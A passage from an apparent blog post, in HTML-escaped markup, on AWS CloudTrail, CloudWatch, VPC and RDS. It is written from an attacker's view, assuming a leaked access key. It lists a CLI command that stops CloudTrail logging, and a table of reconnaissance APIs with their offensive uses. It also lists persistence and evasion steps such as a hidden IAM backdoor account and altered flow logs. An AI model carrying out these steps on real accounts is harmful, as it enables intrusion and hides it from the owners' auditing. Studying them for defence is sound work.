describe-trails&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This queries detailed information about CloudTrail trails, including their S3 log storage locations.&lt;/p&gt;&#10;&lt;h4 id="stopping-cloudtrail-logging"&gt;&lt;a href="#stopping-cloudtrail-logging" class="header-anchor"&gt;&lt;/a&gt;Stopping CloudTrail Logging&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudtrail stop-logging --name management-events&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This stops logging for the &lt;code&gt;management-events&lt;/code&gt; trail. It &lt;strong&gt;does not delete logs that have already been stored&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;h4 id="restarting-cloudtrail-logging"&gt;&lt;a href="#restarting-cloudtrail-logging" class="header-anchor"&gt;&lt;/a&gt;Restarting CloudTrail Logging&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudtrail start-logging --name management-events&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This restarts logging for the &lt;code&gt;management-events&lt;/code&gt; trail.&lt;/p&gt;&#10;&lt;h4 id="downloading-cloudtrail-event-logs"&gt;&lt;a href="#downloading-cloudtrail-event-logs" class="header-anchor"&gt;&lt;/a&gt;Downloading CloudTrail Event Logs&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 ls s3://aws-cloudtrail-logs-6502********-63db363a/AWSLogs/6502********/CloudTrail/&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;This lists CloudTrail logs stored in S3&lt;/strong&gt;, if you enabled S3 storage.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 cp s3://aws-cloudtrail-logs-6502********-63db363a/AWSLogs/6502********/CloudTrail/2025/03/03/LOG_FILE.json.gz .&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gunzip LOG_FILE.json.gz&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;This downloads and extracts a CloudTrail log file&lt;/strong&gt; so it can be analyzed locally.&lt;/p&gt;&#10;&lt;p&gt;I listed a whole pile of commands above, but I think the log-download command is the most useful because it lets you download all the logs and analyze them at your own pace. The individual queries are more useful when the data volume is particularly large. If there is not much data, downloading everything for analysis is probably better. So far, I have noted only a handful of AWS CLI commands. They are really meant for a scenario where a leaked Access Key and Secret Key can be used to retrieve information through the API. There is no need to memorize all of this, but you should know that these API request methods exist.&lt;/p&gt;&#10;&lt;h2 id="cloudwatch"&gt;&lt;a href="#cloudwatch" class="header-anchor"&gt;&lt;/a&gt;CloudWatch&#10;&lt;/h2&gt;&lt;p&gt;CloudWatch is AWS&amp;rsquo;s &lt;strong&gt;monitoring and log management service&lt;/strong&gt;. It can:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Monitor AWS resources&lt;/strong&gt;, including EC2, S3, Lambda, and RDS&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Collect and store logs&lt;/strong&gt; from Lambda, EC2, CloudTrail, and more&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Configure alarms&lt;/strong&gt;, such as an alarm triggered when CPU usage exceeds 80%&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Visualize data&lt;/strong&gt; by creating Dashboards&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;It is similar to the previous service, but CloudTrail primarily audits user actions, while CloudWatch monitors resources. If you have used almost any security appliance, you have probably seen something like this in a WAF, IPS/IDS, situational-awareness platform, and so on.&lt;/p&gt;&#10;&lt;p&gt;Just search for it, open it, and have a look. API auditing can sometimes be broken down in more detail. We actually created something in the Lambda section and opened it once, so I will drop in a screenshot here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0031.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;You can click through the other items one by one to get a general feel for them. Also:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;CloudWatch itself does not record API requests&lt;/strong&gt;, but &lt;strong&gt;CloudTrail records API calls&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;To see API logs in CloudWatch, you need to send CloudTrail events to CloudWatch Logs&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Then you can use AWS CLI to query API call logs!&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;I will not go into more detail here. If I need to deploy services on AWS later, I can learn more then. It is not necessary right now.&lt;/p&gt;&#10;&lt;p&gt;While looking around, I found an interesting feature: the traffic monitor. It requires an EC2 instance, though, and I had already shut mine down because I barely use it after finishing the lesson and it might cost money. That is why there is no traffic data below.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0032.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;With the default setup, it records rejected traffic but not successful flows. The method below can forward those logs.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0033.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Pay attention to the location in the upper-left corner. It is a bit of a hassle, so I will not set it up here. It is worth mentioning that this can also be configured and queried through AWSCLI. &lt;del&gt;I thought of a scenario: suppose a target&amp;rsquo;s KEY is exposed, and the target also runs a popular site. Its traffic may be unencrypted, or it might use JS encryption that can be reversed. Capturing other users&amp;rsquo; traffic could easily reveal their passwords or COOKIEs, which would be pretty serious.&lt;/del&gt; (That actually does not work. It can only record the source IP/target IP, source port/target port, transport protocol (TCP/UDP/ICMP), and packet/byte counts.) That makes it feel useful mostly for development, apart from cloud security cases where you also need to enable it. I have realized that everything I am studying covers both attack and defense: logging systems can support tracing, incident response, and reconstruction of an attack chain.&lt;/p&gt;&#10;&lt;p&gt;The crossed-out idea above can be handled another way. AWS also has a WAF where you can write custom rules. When a login request contains sensitive terms such as username/passwd, you can add a rule and capture it, but that costs money.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0034.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Never mind. It is enough to know that the feature exists.&lt;/p&gt;&#10;&lt;h2 id="vpc"&gt;&lt;a href="#vpc" class="header-anchor"&gt;&lt;/a&gt;VPC&#10;&lt;/h2&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;A VPC is a Virtual Private Cloud on AWS&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;You can create resources such as EC2 instances, databases (RDS), and load balancers (ELB) inside a VPC&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;A VPC lets you control the network topology, including subnets, route tables, security groups, and NACLs&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;All AWS resources run inside some VPC&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;I first learned this concept during an internship in 2022. At the time, I wanted to buy a VPS to run some services, but I found that a VPC seemed cheaper than a VPS and felt roughly the same. What I really wanted was the public IP.&lt;/p&gt;&#10;&lt;p&gt;A VPC is mainly a network environment. Everything below relates to network configuration. With the right setup, you could actually build an internal AWS lateral-movement lab with dual-NIC machines, which sounds pretty interesting.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0035.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;In the EC2 section, I mentioned that this seemed different from aliyun. Over there, the firewall is built in, while I could not find it here. It turns out it is here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0036.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;My understanding is still pretty basic, so it is worth looking through everything. VPC handles network traffic, while EC2 is mainly for compute, such as assigning CPU and memory to an operating system.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;On the defensive side, VPC is mainly about access control and traffic management. On the offensive side, the goal is to obtain configuration information or bypass those defenses.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;That is roughly how I understand it. The defensive VPC features are listed on the left in the screenshot above, while our focus is mainly offensive. Here are some important APIs for querying this configuration information, assuming you have obtained a KEY.&lt;/p&gt;&#10;&lt;table&gt;&#10;&#9;&lt;thead&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;Service&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;What the API does&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;Potential offensive use&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/thead&gt;&#10;&#9;&lt;tbody&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;VPC&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;DescribeVpcs&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Retrieve the CIDR, status, default VPC, and other details for all VPCs&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Subnet&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;DescribeSubnets&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;View the IP ranges, availability zones, and other details for all subnets&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Route Table&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;DescribeRouteTables&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Retrieve routing configuration for the current VPC and inspect public-access policies&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;NACL (Network ACL)&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;DescribeNetworkAcls&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;View ACL rules for the current VPC, including inbound and outbound restrictions&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Security Groups&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;DescribeSecurityGroups&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Retrieve EC2 security-group rules and look for open ports&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Internet Gateway (IGW)&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;DescribeInternetGateways&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Determine how the VPC connects to external networks and whether it is exposed publicly&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;NAT Gateway&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;DescribeNatGateways&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Retrieve NAT proxy information that might allow public-network restrictions to be bypassed&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;VPN Connection&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;DescribeVpnConnections&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Retrieve VPN connection information and potentially attempt to hijack the VPN&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;DNS Firewall&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;ListFirewallRules&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Retrieve DNS firewall rules and potentially attempt to bypass filtering&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Elastic IP&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;DescribeAddresses&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Retrieve public IPs attached to the current account and look for targets&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;p&gt;These APIs can all be queried through &lt;strong&gt;AWS CLI&lt;/strong&gt; or an &lt;strong&gt;SDK&lt;/strong&gt;, for example:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws ec2 describe-security-groups --region us-east-1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws ec2 describe-route-tables --region us-east-1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws ec2 describe-network-acls --region us-east-1&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Use the results from these APIs to find vulnerabilities and work out how to bypass them.&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Create new security-group rules to loosen access restrictions&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Create a hidden IAM account to maintain a backdoor&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Modify VPC flow logs to hide access records&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Create an Elastic IP and attach it to an instance you control&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="rds"&gt;&lt;a href="#rds" class="header-anchor"&gt;&lt;/a&gt;RDS&#10;&lt;/h2&gt;&lt;p&gt;RDS is mainly used to &lt;strong&gt;manage relational databases&lt;/strong&gt;. Compared with deploying MySQL yourself:&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&lt;strong&gt;Less manual administration&lt;/strong&gt;: AWS automatically manages &lt;strong&gt;backups, patches, monitoring, and scaling&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;High availability&lt;/strong&gt;: You can &lt;strong&gt;deploy across multiple Availability Zones (AZs)&lt;/strong&gt; so the database stays available during failures.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Security&lt;/strong&gt;: You can use &lt;strong&gt;private VPC deployment, encrypted storage, and automatic backups&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Performance optimization&lt;/strong&gt;: It supports &lt;strong&gt;automatic scaling, Read Replicas, and Aurora&lt;/strong&gt; for high-performance reads and writes.&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;This is where things start to become a little more important. Developers often use cloud database services because they are more convenient, more secure, and cheaper.&lt;/p&gt;&#10;&lt;h3 id="key-rds-concepts"&gt;&lt;a href="#key-rds-concepts" class="header-anchor"&gt;&lt;/a&gt;Key RDS Concepts&#10;&lt;/h3&gt;&lt;table&gt;&#10;&#9;&lt;thead&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;Concept&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;Purpose&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/thead&gt;&#10;&#9;&lt;tbody&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;RDS instance&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;The host running the database, equivalent to a database server&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Database engine&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Supports MySQL, PostgreSQL, MariaDB, Oracle, SQL Server, and Aurora&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Subnet Group&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Runs the database in specific VPC subnets&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Security Group&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Controls access to RDS, including whether external connections are permitted&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Parameter Group&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Controls database &lt;strong&gt;configuration parameters&lt;/strong&gt;, such as MySQL&amp;rsquo;s &lt;code&gt;max_connections&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Snapshot&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Backs up the database so it can be restored at any time&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Read Replica&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Optimizes read operations and reduces load on the primary instance&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Multi-AZ deployment&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Runs the primary database across &lt;strong&gt;multiple Availability Zones (AZs)&lt;/strong&gt; so primary/standby failover does not interrupt service&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;h3 id="setting-up-mysql"&gt;&lt;a href="#setting-up-mysql" class="header-anchor"&gt;&lt;/a&gt;Setting Up MYSQL&#10;&lt;/h3&gt;&lt;p&gt;As before, find the corresponding console. This time, we are looking for RDS.&lt;/p&gt;&#10;&lt;p&gt;Follow my configuration below, or you may be charged.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0037.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0038.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0039.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;For everything else, clicking through with the defaults is fine.&lt;/p&gt;&#10;&lt;h3 id="connecting-to-mysql-awscli"&gt;&lt;a href="#connecting-to-mysql-awscli" class="header-anchor"&gt;&lt;/a&gt;Connecting to MYSQL (AWSCLI)&#10;&lt;/h3&gt;&lt;p&gt;I will skip the first method, which is connecting from EC2. It is just a normal database connection.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mysql -h your-rds-endpoint -u admin -p&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The second method, through AWSCLI, is the main one here.&lt;/p&gt;&#10;&lt;h4 id="querying-rds-instances"&gt;&lt;a href="#querying-rds-instances" class="header-anchor"&gt;&lt;/a&gt;Querying RDS Instances&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws rds describe-db-instances&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Example response:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;DBInstances&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 